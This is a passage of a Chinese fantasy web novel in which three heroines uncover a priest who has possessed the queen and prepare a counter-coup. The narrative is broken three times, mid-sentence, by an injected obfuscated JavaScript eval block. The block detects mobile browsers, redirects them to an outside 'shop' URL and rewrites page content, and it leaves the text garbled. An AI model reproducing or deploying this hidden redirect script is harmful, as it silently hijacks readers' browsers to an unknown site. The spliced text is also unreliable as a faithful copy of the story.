“忙着教郡主挑水?”卫寒苍终于抬起头,看着她,嘴角扯出一个似笑非笑的弧度,“忙着给郡主擦汗?忙着拍郡主的肩说‘不错了’?” 褚秋水被她问得哑口无言。 她想解释“你要不会我也教啊”,但她总感觉这句话说出口,会有什么可怕的后果。 “行了行了。”她决定转移话题,“我们还是来复盘一下吧。” “复盘什么?” 褚秋水坐直身子,正色道:“女王收集盐铁的目的,和那个奇怪的祭司。” 卫寒苍听了,稍微认真了些。 “今天华兰泽说,三十年前商策占卜出一个预言,手握盐与铁的人,将来到这个国家,终结这个王朝。”褚秋水一字一句道,“女王收集盐铁,应该是想阻止这个预言发生,阻止王朝终结在自己手里” 卫寒苍听着,慢慢放下书。 “那她这个解决方法还挺简单粗暴的,直接收走,谁也拿不到。” “也算是物理意义上的解决了,”褚秋水说,“但我总觉得奇怪。” “哪奇怪了。” “华兰泽还说过,祭司是替国家承蒙天命的人,预言从不出错。真的这么简单就可以破解预言吗。” 卫寒苍想了想,回答道。 “的确,这种解决办法太过于简单了。”她说,“那个商策身上也有颇多古怪之处。身为祭司,竟然试图干涉国政,是百姓如草芥。还有他那副不变的容貌,不管怎么想,此人身上秘密颇多。” 两人沉默了一会儿。 褚秋水忽然打了个哈欠,一天的疲惫涌上来。 “行了行了,不想了。”她站起身,往床边走,“睡觉睡觉,明天再说。” 卫寒苍看着她,嘴角微微扬起:“不洗漱了?” “我忘了。” 灯火摇曳下,卫寒苍坐在床边,捧着脸乖乖等着褚秋水洗完。 褚秋水洗着洗着,忽然问:“寒苍,你刚才是不是不高兴了? 卫寒苍眼神微微闪躲。 “没有。” “真的?” “真的。” 褚秋水不信,但她知道再问也问不出什么了。 脸洗好了,她一头栽进被子里,闭上眼睛。 卫寒苍看着她,轻轻叹了口气,吹灭烛火,在她身边躺下。 黑暗中,一只手伸过来,握住她的。 “秋水。” “嗯?” “以后……别对别人那么好。” 褚秋水迷迷糊糊地“嗯”了一声,也不知道听没听见。 卫寒苍看着她的侧脸,嘴角微微扬起,闭上眼睛。 14. 路遇 翌日清晨,阳光刚爬上窗棂,华兰泽又站在了寝殿门口。 这回她轻车熟路,直接敲门。 “秋水,起了吗?” 褚秋水睁开眼,愣了愣,然后推了推身边的卫寒苍。 “起了起了。” 洗漱完毕,打开门,华兰泽已经换好了衣服——还是昨天那身寻常衣裳,只是头发梳得更利落了些,一看就是做好了干活的准备。 “今天还去村里?”褚秋水问。 华兰泽点头:“嗯。我想……多看看。” 卫寒苍从褚秋水身后探出头,看着她,语气幽幽:“郡主这么勤快?” 华兰泽看着她,微微一笑:“卫小姐要是不想去,可以留在宫里休息。” “谁说我不想去?”卫寒苍快步走出来,挽住褚秋水的胳膊,“秋水去哪儿我去哪儿。” 华兰泽看着她的手,牙又有点痒痒。 三人出了王城,往村子走去。 但今天华兰泽没急着去昨天的村子,而是说:“我们往远处走走?” 褚秋水点头:“行。” 她们绕过昨天去过的村子,继续往王城外走。 走了约莫一个时辰,在离王城越来越远的地方,周围的景象开始变了。 路越来越破,两旁的屋子越来越矮。有些房子甚至没有屋顶,只用茅草胡乱盖着。路上的行人越来越少,偶尔看见一个,也是面黄肌瘦、衣衫褴褛。 华兰泽的脚步渐渐慢了下来。 她看着那些破败的屋子,看着那些瘦弱的村民,看着那些干裂的土地。 这一切,和她昨天看到的,有些一样,又些不一样。 “这里……”她喃喃道。 “离王城越远,越穷。”卫寒苍在旁边淡淡地说,“这是规律。” 华兰泽沉默了。 她继续往前走,发现确如卫寒苍所说。 每一个都比上一个更破,每一个都比上一个更穷。 有些村子甚至已经没人了,只剩下一片断壁残垣。 “人呢?”她问。 一个路过的老人看了她一眼,哑声道:“逃了,死了,都有。” 华兰泽张了张嘴,什么都说不出来。 她忽然想起那些书上写的——“苏眦盛世,路不拾遗,夜不闭户”。 那些字写得那么漂亮,她见过都王城也是那么繁荣,怎么她现在走在这条路上,看到的只有破败和贫穷。 贫穷与富庶,在此刻划出一道清晰的界限。 就在这时,前方忽然传来一阵嘈杂声。 哭声、喊声、呵斥声混在一起,由远及近。 三人对视一眼,快步上前。 村口,一群官兵正围着一户人家。 一个妇人跪在地上,死死抱着一个陶罐,哭得撕心裂肺:“大人,求求您了,这是我家最后一点盐了,孩子还小,没盐会死的……” 为首的官兵一把夺过陶罐,冷笑道:“最后一点?上个月你们也是这么说的。按律,每户每月定额上交,这是王法!” “可我们真的没有了……” “少废话!”官兵一脚踹开她,把陶罐递给身后的兵卒,“搜!看看还有没有私藏的!” 几个兵卒冲进屋里,翻箱倒柜,东西摔碎的声音此起彼伏。 妇人跪在地上,哭得几乎晕过去。 褚秋水的拳头握紧了。 她刚要上前,一个人影已经冲了出去。 “住手!” 华兰泽站在那群官兵面前,气得浑身发抖。 官兵们愣住了,看着这个突然冒出来的女子,一时没反应过来。 为首的官兵上下打量了她一眼,嗤笑一声:“哪来的多管闲事的?滚开!” 华兰泽没动。 她从怀里掏出一块令牌,举到那人面前。 “认识这个吗?” 那是一块玉牌,上面刻着一个“华”字,周围环绕着繁复的纹路——那是王族的印记。 官兵们愣住了。 为首的官兵仔细看了看那块令牌,脸色瞬间变了。 “郡……郡主?” 华兰泽没理他,径直走到那个妇人面前,把她扶起来。 “您没事吧?” 妇人看着她,吓得说不出话。 华兰泽转身,看着那群官兵,一字一句道:“谁给你们的权力,抢百姓的盐?” 官兵们面面相觑,为首的硬着头皮道:“回郡主,这是……这是王法。每户每月定额上交,这是……” “王法?”华兰泽打断他,“王法是让你们把百姓最后一点盐都抢走?王法是让他们饿死、病死?” 官兵们不敢说话。 华兰泽指着那个陶罐:“放下。” 为首的官兵犹豫了一下,把陶罐放在地上。 华兰泽亲自抱起陶罐,递还给那个妇人。 妇人接过陶罐,浑身发抖,不知道该跪还是该站。 “没事了。”华兰泽轻声说,“不会再有人来抢了。” 她转身,看着那群官兵,目光冰冷。 “滚。” 官兵们如蒙大赦,连滚带爬地跑了。 村口安静下来。 华兰泽站在那里,看着那群官兵远去的背影,久久没有说话。 褚秋水走上前,轻轻拍了拍她的肩。 “没事吧?” 华兰泽摇了摇头。 过了一会儿,她忽然开口。 “秋水。” “嗯?” “我要改变这一切。” 褚秋水看着她。 华兰泽转过头,目光坚定。 “我要回去向母皇进言,停止征盐和铁。”她说,“这个政策是错的。它没有阻止什么预言,它只是在折磨百姓。” 褚秋水没有说话,只是看着她。 “不止是盐铁。”华兰泽继续说,“整个国家都需要改变。那些官员,那些账目,那些粉饰太平的东西,我要把它们都查清楚,都改过来。” 她顿了顿,声音微微发颤:“看到这一切,我不能装作不知道。” 褚秋水看着她,目光中带着欣慰和心疼。 “行。”她说,“那我陪你。” 华兰泽看着她,眼眶微微发红。 她飞快地低下头,不让褚秋水看见。 旁边,卫寒苍看着这一幕,轻轻哼了一声。 她走上前,自然而然地站到两人中间。 “走吧,天不早了。”她说,“要做什么都得先回吃饱饭。” 三人准备往王城的方向走去。 身后,那个妇人抱着陶罐,看着她们的背影,突然想起了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371609|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 “三位,请等一下。” 她几乎是扑到了她们面前,褚秋水立刻上前扶着,帮她站稳。 妇人从袖中拿出一根红绳。红绳有些旧,但很干净,上面系着块铜币,民间常以此法,的祈求孩童健康无恙。 “请你们带上这个吧,就算是我的感谢。” 言罢,她还没等褚秋水回答,把红绳给她系上就离开了。 看着妇人离去的背影,她们三个沉默着回到了王城。 连最近热衷于询问普通人如何修仙的华兰泽,都没再多言。 第二天,褚秋水和卫寒苍陪着华兰泽一起去面见女王。 按照约定,她们就在门口等着华兰泽。 殿门紧闭。 褚秋水和卫寒苍并肩站在廊下,她有些担心,不知道这次会有什么结果。 “你说她能劝动吗?”褚秋水紧张兮兮地问。 卫寒苍像没骨头似的,靠在柱子上,懒洋洋地打了个哈欠:“感觉难。” 话音刚落,殿内突然传来一声暴喝—— “够了!” 紧接着是华兰泽带着哭腔的声音:“母皇,您以前不是这样的!” “朕以前什么样,轮不到你来评判!” “我……” “你以为你的这些意见会有什么好后果吗!朕执政这么多年,深知动不如静的道理。这些年,那些家族那些官员那些利益共同体早已是盘根错节,牵一发而动全身。” “那我们就不管那些百姓吗!” “顺着现在的势头,还能继续撑下去。要是陡然生变,你就要做亡国之主了!” “母皇……” “出去!不要再说一个字!” 褚秋水还没反应过来,殿门砰地打开,华兰泽捂着脸冲了出来。 她飞快地从两人身边跑过,肩膀微微颤抖,却没发出什么声音。 褚秋水和卫寒苍对视一眼,连忙准备追上去。 华兰泽跑得极快,又熟悉宫内地形,一眨眼就在她们的视线里消失了。 幸好卫寒苍耳力极佳,寻着声音,她们跟着来到了御花园。 花园角落里,华兰泽蹲在一丛花后面,把脸埋在膝盖里。 褚秋水走过去,在她旁边蹲下,也不知道该说什么,只好伸手拍了拍她的背。 卫寒苍站在旁边,难得没有阴阳怪气,只是给她递了块帕子过去。 华兰泽没接,闷闷地开口。 “我跟母皇说,征盐铁是错的,百姓过得太苦了。”她的声音发闷,“可她不听。她说这是为了国家,为了预言,为了……为了我好。” 她抬起头,眼眶红红的,却没哭。 “母皇变化好大,她以前不是这样的。”华兰泽说,“小时候她教我治国,说要爱民如子。可现在……” 她顿了顿,忽然压低声音。 “我出来的时候,听见她跟内侍说,要去幽溟渊。” 褚秋水一愣:“幽溟渊?” “是禁地。”华兰泽擦了擦眼角,“除了历代女王和祭司,没人能进去。传说那里连通着苏眦的国脉,藏着历代先祖的遗命。” 卫寒苍的眼睛微微眯起。 褚秋水看了她一眼,两人目光交汇。 “进去看看?”卫寒苍用口型问。 褚秋水点头。 15. 禁地 一个时辰后,三道身影悄无声息地潜入了王宫深处。 月黑风高,正是做贼的好时候。 卫寒苍走在最前面,脚步轻得像踩在云上。月光下她的身形若隐若现,衣袂飘动间连一丝风声都没带起来。 褚秋水看着她的背影,心里忍不住又佩服了一次——这人的轻功,确实是她在江湖上见过的最好的,没有之一。 她时不时停下来,侧耳听听动静,然后冲后面招招手。那手势又轻又快,像一只夜行的猫。 华兰泽跟在褚秋水身边,紧张得手心直冒汗。她这辈子没干过这种事。白天她是高高在上的郡主,走哪儿都有人开道引路;现在她是个偷偷摸摸闯禁地的“贼”,每一步都踩在心跳上。 “你确定这条路对?”她压低声音问,声音里带着一丝颤抖。 卫寒苍回头,竖起食指抵在唇边,做了个“嘘”的手势。那手势干脆利落,带着一种不容置疑的笃定。 华兰泽乖乖闭嘴,连呼吸都放轻了。 七拐八绕之后,眼前出现一道石门。门很大,约莫两人高,通体用一种褚秋水叫不出名字的青灰色石料砌成。门上刻着密密麻麻的符文,在月光下泛着幽幽的蓝光,像是一条条游动的小蛇。 “就是这儿。”华兰泽的声音压得很低,但褚秋水听出了她话里的颤意。 卫寒苍凑上前,仔细端详那些符文。她的眉头渐渐皱起来,指尖悬在符纹上方半寸的位置,顺着纹路缓缓移动,却始终没有碰到。 “这是……封印的符。”她说,声音难得认真,“而且是很古老的那种。。” 褚秋水心里有些紧张。 “能解开吗?”她问。 卫寒苍没回答。她在头上摸索一番,找到一只最细的簪子——就是那支镶着莲子米大小珍珠的,褚秋水昨晚还数过。她把簪子轻轻拔下来,握在手里。 “试试。” 她将簪子轻轻刺入符文之间的缝隙,动作极慢,像是在绣花。每刺入一分,就停下来听一听,侧耳贴在门上,细听里面的回响。那些蓝光在她指尖流转,忽明忽暗,像是活的。 褚秋水站在旁边,大气都不敢出。她此时只恨自己平时上课没有用心,那些符文学得七七八八就扔到脑后了。书到用时方恨少,她现在连这些符文是什么流派都看不出来,只能在这儿干看着,帮不上什么忙。 她偷偷看了一眼华兰泽——郡主比她还不济,她和这些偷鸡摸狗的事向来不沾边。此刻整个人缩在她身后,只露出半个脑袋,眼睛瞪得溜圆。 时间一点一点过去。卫寒苍的额角渗出细密的汗珠,顺着脸颊滑下来,她都没顾上擦。那支簪子在她手里像是变成了一把钥匙,一点一点撬动着那些古老的封印。 终于,在卫寒苍的不断尝试下,蓝光剧烈地闪烁了几下——然后,门无声地开了。 不是轰然洞开,是无声无息地,像一张嘴轻轻张开。 一股潮湿的、带着铁锈腥气的风从门后涌出来。 褚秋水是真的佩服:“你还真是什么都会。” 卫寒苍把簪子重新插回头上,回过头来,微微一笑。那笑容在月光下带着一点得意。 “这毕竟是我吃饭的本事嘛。” 门后是一条幽深的石阶,向下延伸,看不见尽头。石阶两壁湿漉漉的,水珠顺着墙面往下淌,在脚下汇成细细的水流。 三人对视一眼,走了进去。 石阶很长,长得像是永远走不完。褚秋水数着自己的脚步,数到三百的时候放弃了。空气越来越潮湿,铁锈的腥味也越来越重,混着一种说不清的、像是什么东西在腐烂的气味。 华兰泽走在她前面,脚步越来越慢。褚秋水能看见她的肩膀在微微发抖。 越往下走,空气越潮湿,隐隐有一股铁锈的腥味。终于,前方出现了一点光亮。 褚秋水放慢脚步,贴着石壁往前挪。大剑被她握在手里,剑身裹着布,没有反光。 眼前豁然开朗。 那是一个巨大的地下空间,高约十丈,方圆百步。四周的石壁上嵌着某种发光的矿石,把整个空间照得一片惨白。 而空间的中央,立着一座庞然大物。 那是无数铁器熔铸的巨物——形状像半颗倒悬的心脏,表面布满密密麻麻的孔洞。每个孔洞里都嵌着一只眼睛,或者一只耳朵。眼睛是闭着的,耳朵是垂着的,但它们都在微微颤动,像是活物在沉睡中呼吸。 那些眼睛和耳朵大小不一,排列得毫无规律,密密麻麻地挤在一起,看得人头皮发麻。 褚秋水倒吸一口凉气。 “这就是收集铁的用途吗。”她喃喃道。 华兰泽捂住嘴,脸色煞白。她看着那些眼睛和耳朵,整个人都在发抖。 就在这时,一个声音响起。 “陛下,您看,快完工了。” 是商策。 三人浑身一僵,连忙缩回阴影里,从石壁的缝隙中偷偷望去。 熔炉前站着两个人。商策,和女王。 女王站在那座巨物面前,仰头看着那些密密麻麻的眼睛和耳朵,脸上没有表情。惨白的光照在她脸上,衬得她的轮廓像一尊冰冷的雕像。 商策站在她身侧,语气里带着掩饰不住的得意。 “等它们全部做好,整个苏眦就再也没有秘密了。”他的声音在空旷的地下空间里回荡,带着一种志得意满的餍足,“哪家在私论王室,哪家偷藏盐铁,陛下随时可以知道。整个苏眦,都在陛下一掌之中。” 女王的眉头微微皱了皱。 “这是为了国家?”她问。 “当然是为了国家。”商策笑得很温和,“陛下励精图治三十年,难道要让那些刁民毁了您的心血吗?” 他顿了顿,声音里带上了一丝轻蔑。 “他们懂得什么?他们只知道今天有没有饭吃,明天有没有盐吃。他们永远不会明白,一个强大的国家需要什么。” 女王沉默了很久。 “可是那些百姓……”她开口。 “百姓?”商策笑了,那笑容和之前完全不同,显出些阴冷,“陛下,百姓是什么?是草。春风吹又生,野火烧不尽。他们在乎的只有自己檐下的一亩三分地,谁当皇帝对他们来说都一样。今天姓华,明天姓王,他们照样种地、交税、生孩子。” 他顿了顿,声音低沉下来。 “可祭司和王室不一样。我们世世代代守护着这个国家,我们才是苏眦的根基。那些百姓,不过是根基上的土灰罢了。” 女王没有说话。 商策看着她,眼神里有什么东西在涌动。 “陛下,您还记得您登基那年,前任祭司是怎么说的吗?” 女王的目光微微闪动。 “他说,您是天命所归,是苏眦的希望。”商策慢慢走近她,声音变得柔和,带着蛊惑的味道,“这三十年,您励精图治,把苏眦从一个边陲小国变成西域最强盛的国家之一。您做到了历代先王都没做到的事。” “可是陛下,您有没有想过——这三十年,是谁在背后支持您?” 女王的目光变得有些恍惚。 “是祭司。”商策的声音像丝线一样,一圈一圈绕上来,“是我们世世代代守护着苏眦的秘密,是我们用预言指引着国家的方向,是我们让百姓相信您是天子。没有我们,您什么都不是。” 女王的眼神晃了晃。 “你刚才说,”她开口,声音有些发哑,“那些话是前任祭司告诉你的?” “正是。”商策脸上挂着温和的笑意。 “放肆!”女王的眼神一瞬间变得极为锐利,像一把刀劈开了那层恍惚,“那句天命所归只有他知我知,你又是怎么知道的?” 商策的笑容顿了一瞬。 女王盯着他,一字一句:“哪怕祭司神权天授,也断然不能继承上一任的记忆。朕再给你一次机会,告诉朕你到底是谁,从哪里听到那句话的。” 商策听到那句“不能继承上一任的记忆”时,忽然笑了。像披着人皮的精怪终于可以甩开束缚,露出真面目。 他看着女王,像看着一个孩童。 “陛下,”他的声音变得诡异起来,带着某种说不清的诱惑,又带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371610|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一种古老的、悠远的疲惫,“您以为我们祭司是什么?是替天传话的傀儡?是占卜吉凶的工具?” 他往前走了一步。 “都不是。” 他的声音忽然沉下去,沉得像从地底传来的回响。 “我是你们愚昧无用的先祖,向灵山求来的孤魂。你的先祖,以世代供奉为代价,求得我为你们沟通天地,占卜吉凶。” “只是人类躯壳太为脆弱,每隔几十年,我就得换一个新的躯壳,再假装成新生的祭司。” “这么多年的这么多届祭司,实际上都是同一个我啊。” 地下空间里安静得能听见铁水滴落的声音。 饶是历经过大风大浪的女王,乍然听见这些,也是大为惊骇。 她的脸色白了一瞬。 难怪他对于王室秘辛这么了解。难怪他视臣民如草芥。他有如住进苏眦的客人,对主人家任采任撷,用着所谓的天命戏弄着所有人。 女王的脚步往后退了一步,警惕地盯着他。这里是禁地,只有她和商策有权进入,所有的仆从都在外面候命,她现在叫人也没用。 她要先稳住对方。 “你……你想夺位?” “夺位?”商策笑了,“陛下,您说错了。臣不是要夺位,臣是要——” 他的声音忽然变得幽深。 “——取而代之。” 阴影里,华兰泽差点叫出声,被褚秋水一把捂住嘴。她整个人都在发抖,眼泪无声地往下淌,滴在褚秋水的手背上,滚烫的。 商策的声音继续传来,不紧不慢,像是在说一件再平常不过的事。 “何况,您知道了这么多,总要付出些代价吧。您别以为我不知道您私底下在干什么。您想让郡主脱离我的桎梏,想让我再也没法染指王权。” 他顿了顿。 “臣侍奉历代女王,总有几个是都想着要摆脱我的。我当然不能坐以待毙了,可惜前面的都没能受得住这魂魄转移的方法……” 他笑了笑。 “但陛下您不一样。您身体好,能扛。臣在您身上试了三十年,终于把魂魄的根扎进去了。” 女王的呼吸变得急促而紊乱。 “你……你说什么?” “陛下这些年时常恍惚,时常听见有人说话,以为是天授。”商策笑了,“其实那不是什么老天对您说的话,通通都是臣。” “是臣在您脑子里,跟您说话。” 女王踉跄后退,撞在石壁上。她脑上是细密的汗珠,这些事,她从来没有和任何一个人说过,连华兰泽都不知道这些。 “你……你竟然敢……” “臣没有什么敢不敢的。”商策的声音依旧温和,“臣只是做了该做的事。” “祭司的职责,就是替国家承蒙天命。可如果天命本身就能掌控,那还要承蒙做什么?” 他上前一步。 “陛下,您累了。您和郡主吵架,心绪不稳,正好让臣的离魂之术再进一步。” “等您睡一觉醒来,这一切就都结束了。” “不……不……快来人……有人要篡位……” 女王的挣扎声渐渐微弱。 阴影里,华兰泽终于忍不住,挣开褚秋水的手就要冲出去。 褚秋水一把拉住她,捂住她的嘴,冲她摇头。 现在出去,不但救不了女王,她们三个也得搭进去。 华兰泽在她怀里挣扎,眼泪终于无声地流下来。 远处,女王的挣扎声越来越弱。 最后,一声闷响—— 像是什么东西倒在了地上。 商策的声音响起,带着餍足的笑意。 “陛下,好好睡吧。” “等您醒来,这个世界……就是臣的了。” 地下空间陷入死一般的寂静。 褚秋水屏住呼吸,一动不敢动。 她感觉到怀里的华兰泽在发抖,感觉到身后卫寒苍的手紧紧攥着她的衣角。 远处,那些千只眼和耳还在微微颤动。 像是在等待什么醒来。 16. 战前准备 三人屏息凝神,等商策的脚步声彻底消失在石阶尽头,又等了足足一盏茶的工夫,才敢动弹。 褚秋水松开捂着华兰泽嘴的手,手心全是汗。 华兰泽浑身发抖,脸上全是泪痕,却死死咬着嘴唇,没发出一点声音。 “走。”卫寒苍用气声说,“现在。” 三人贴着石壁,悄无声息地原路退回。 爬上石阶,穿过石门,重新呼吸到外面的空气时,褚秋水才发现自己后背已经湿透了。 月明星稀,夜风微凉。 华兰泽站在月光下,脸上的泪痕还没干,眼神却已经变了。失去母亲的她,此刻眼中少了点少女的稚嫩,多了些成年的坚毅。 “兰泽……”褚秋水开口,想扶住她。 “我没事。”华兰泽打断她,声音沙哑却平稳,“不用扶我。” 她自己往前走了一步,踉跄了一下,又稳住。 “我自己能走。” 褚秋水和卫寒苍对视一眼,默默跟在她身后。 一路无话。 回到华兰泽的寝宫,关上门,点上灯,三个人围坐在桌前,沉默了很久。 华兰泽坐在主位,手里攥着一块帕子,攥得指节发白。 褚秋水看看她,又看看卫寒苍,率先开口。 “现在怎么办?” 华兰泽抬起头,眼眶还是红的,但眼神已经清明了很多。 “刚才……母皇说的那些话。”她顿了顿,声音有些发颤,“她说,她做这些是为了我。她不想让我被预言绑住,不想让我被祭司控制。” 她低下头,看着自己的手。 “她把我保护得太好了,我从来不知道……” 大家都安静地听着。 华兰泽深吸一口气,抬起头来。 “但是现在我知道了。”她说,“所以我不能让母皇白做这些。” 褚秋水看着她,觉得她褪去稚气,一夜之间长大了不少。 “你有什么打算?” 华兰泽沉默了一会儿,开始理清思路。 “首先,我们需要兵权。”她说,“商策现在是母皇的样子,但他没有王室的印信,调动不了军队。” 褚秋水眼睛一亮:“王城的军队由谁掌管?” “名义上是由兵部尚书统辖,但紧急情况下,王室可以直接下令。”华兰泽看向褚秋水腰间,“之前我送给你的那个玉牌。你拿着它,可以去城北大营调兵。” 卫寒苍凑过来看了一眼:“就凭这个?不会被拒绝吗?” “城北大营的统领是我母皇一手提拔的,对我很是熟悉。”华兰泽说,“见令如见我,有令牌在,他不敢不从。” 卫寒苍挑眉:“这么急?不从长计议?” 褚秋水摇头:“这种事情越快越好。商策刚得手,肯定需要时间适应女王的身体。我们现在动手,他还没反应过来,可以打他一个措手不及。等几天,万一走漏风声,他先把军队控制了,我们就一点机会都没有了。” 卫寒苍沉默了一瞬,点点头:“有道理。” 华兰泽看着她俩,忽然觉得心里踏实许多。 她不是孤身一人,她还有可以并肩作战的伙伴。 “那这样。”华兰泽开始分配任务,“明天一早,秋水拿着我的令牌去城北大营调兵。寒苍去城门传令,就说王城有变,让守城军士封锁所有城门,不许任何人进出。” “你呢?”褚秋水问。 华兰泽的眼神沉了沉。 “我去上朝。”她说,“像往常一样,去给‘母皇’请安,去听那个东西坐在龙椅上发号施令。我得稳住他,不能让他起疑。” 褚秋水皱眉:“你一个人……” “我不是一个人。”华兰泽看着她,目光坚定,“你们在外面办事,我在里面拖着。只要我们能配合好,一定能把母皇救出来。” 褚秋水沉默了一会儿,点点头。 “好。” 卫寒苍在旁边幽幽地开口:“说得倒是挺热闹,可万一那个商策已经掌握了什么我们不知道的情况呢?万一他不用军队,直接用那些眼睛和耳朵监视我们呢?” 华兰泽一愣。 褚秋水想了想,说:“那也得搏一把。” “搏?” “搏他刚夺舍成功,还在适应期。搏我们动作够快,快到他反应过来之前就把事情办完。如果此刻束手以待,那就真成砧板鱼肉,任人宰割了。” 卫寒苍看着她,略做沉思。 “行吧。”她说,“陪你赌。” 商议完毕,华兰泽坚持让她们先回去休息。 “明天还有大事。”她说,“你们得养足精神。” 褚秋水看着她,想说什么,又咽了回去。 走到门口,她忽然回头。 “郡主。” “嗯?” “你母皇……会没事的。” 华兰泽愣了一下,然后笑了。 那笑容很淡,却是今天晚上的第一个笑。 “我知道。” 回到寝殿,褚秋水关上门,长长地吐了口气。 她正准备把大剑解下来保养,一转头,看见卫寒苍正蹲在地上,往一个小包袱里塞东西。 褚秋水愣了愣。 “你在干嘛?” 卫寒苍头也不抬:“收拾东西啊。” “又收拾东西?” 卫寒苍终于抬起头,看着她,表情有点复杂。 “秋水。”她站起身,走过来,压低声音,“华兰泽给了我自由封锁城门的权利。” 褚秋水皱眉:“我知道啊,她刚刚安排的……” “嗯。”卫寒苍说得轻描淡写,“所以,明天一早我们就能出城。” 褚秋水愣住了。 “你说什么?” “我说,”卫寒苍看着她,一字一句,“我们明天就能走。” 褚秋水张了张嘴,一时说不出话来。 卫寒苍继续说:“你想想,这事跟我们有关系吗?我们是外乡人,这里的事本来就不该我们管。华兰泽是郡主,有她自己的责任。可我们有什么?我们什么都没有。留在这里,万一出事,连个收尸的人都没有。” “可是……” “没有可是。”卫寒苍打断她,“秋水,你听我的。明天一早,我们拿了令牌,趁天没亮就走。等她们打完了,我们再回来。好不好?” 褚秋水看着她。 烛光下,卫寒苍的眼睛亮亮的,带着点祈求,又带着点别的什么。 那眼神,让人有点不忍心拒绝。 可是…… 褚秋水沉默了很久。 然后她开口。 “寒苍,你走吧。” 卫寒苍的表情僵了一下。 “你说什么?” “我说,”褚秋水的声音很轻,却很坚定,“我不能走。” 她走到窗边,推开窗户,看着外面的月光。 “我从小跟师傅练剑,师傅教我的第一件事,不是怎么握剑,而是为什么握剑。” 卫寒苍没有说话。 “他说,练剑的人,剑可以输,心不能输。遇到事就跑,那这剑练了有什么用?” 她转过身,看着卫寒苍。 “我知道这事跟我们没关系。我知道我们只是外乡人,随时可以走。我知道留在这里可能会有危险。” 卫寒苍的脸色变了又变。 “你……你就这么在乎她?” “谁?“褚秋水顿了顿,“我留在这里,不仅是为了华兰泽” “那是为了谁?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371611|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 褚秋水迎着她的目光:“为了苏眦国所有的人。” 卫寒苍不知道想到了什么,情绪有些激动起来:“就为了那些不相干的百姓?秋水,你是不是太单纯了。那些人并也没有看着这么老实。” “我们一来到这个世界,他们就称呼我们为什么勇士,把我们架在一个高地上,想靠着我们给他们谋新生活。” “陪着华兰泽去王城周边的时候,你也见过。流民为一点食物就自相残杀。那些百姓里不仅有周伯那种人,还有各种伴随烧杀抢掠种种恶习的人。” “我知道,”褚秋水坦然地说,“我知道有这种人,并且这种人人数还不少。” “这种人你也要救?” “这种人我也要救。在我看来,怯懦者亦可献上勇气,油滑者亦可怀有赤子之心。我希望所有人都可以有更多选择的余地。” “如果你愿意留下来的话,可以和我一起准备。如果不愿意,我也不拦你。” 听完这些,卫寒苍盯着她的脸,像是要看出什么答案:“为什么。” “因为所有人都该有一个能过更好生活的选择。”褚秋水笑得有点不好意思,“听起来很幼稚,很可笑对不对。但我是想做到这样。 “从开始修行的那一天开始,我就以此为目标。想要不断收集剑谱,提升自己,我希望练到当我准备出手时,能够没有任何顾虑。” 很久很久。 然后她忽然笑了。笑容中有释然,也有欣喜。 “行吧。”她说,“总算搞清楚你的热血从何而来了。” 她走回包袱旁边,把东西又一件一件掏出来,放回原位。 褚秋水看着她,自顾自地开始说起来。 “师傅说我这是缺一根筋,让我下山历练历练就好了,但我就是拗不过来。” “这种性格很讨人厌吧……” “没有,你很好。”卫寒苍头也不回,“你真的很好。” 过了好一会儿,卫寒苍收拾完了,转过身来看着她。 “你就这么信任那个郡主?” 褚秋水想了想:“嗯。” “凭什么?” “凭她刚才那个眼神。”褚秋水说,“那眼神,我在山里见过。” 卫寒苍挑眉:“山里?” “嗯。小时候跟师傅进山,遇到过一只小狼,腿被夹子夹住了,流了好多血。我和师傅本来想救它,可它一看见我们就龇牙,凶得很。师傅说,它活不了了,走吧。” 褚秋水顿了顿。 “可第二天我们路过那里,发现它咬断了自己的腿,跑了。雪地上全是血,但它就是跑了。” 她看着卫寒苍。 “华兰泽刚才那个眼神,就跟那只小狼一样。” 卫寒苍沉默了一会儿,忽然笑了。 “你还挺会比喻。” 褚秋水挠挠头:“反正就是那个意思。” 卫寒苍走过来,在她身边坐下。 “行吧。”她说,“就像你说的,我们一起,搏出条好路。” 褚秋水看着她,眼睛亮亮的。 “谢谢你,寒苍。” 卫寒苍别过脸去,不让她看见自己的表情。 “少来这套。睡觉,明天还要早起。” 两人躺下。 黑暗中,卫寒苍忽然开口。 “秋水。” “嗯?” “以后不管什么事,你都得带着我。” 褚秋水愣了愣:“为什么?” “因为……”卫寒苍顿了顿,“因为我怕你把自己作死。” 褚秋水笑了。 “行。” 一只手伸过来,握住她的。 那只手有点凉,却握得很紧。 褚秋水也第一次,回握住她的手。 17. 战战战 褚秋水早早就醒了。 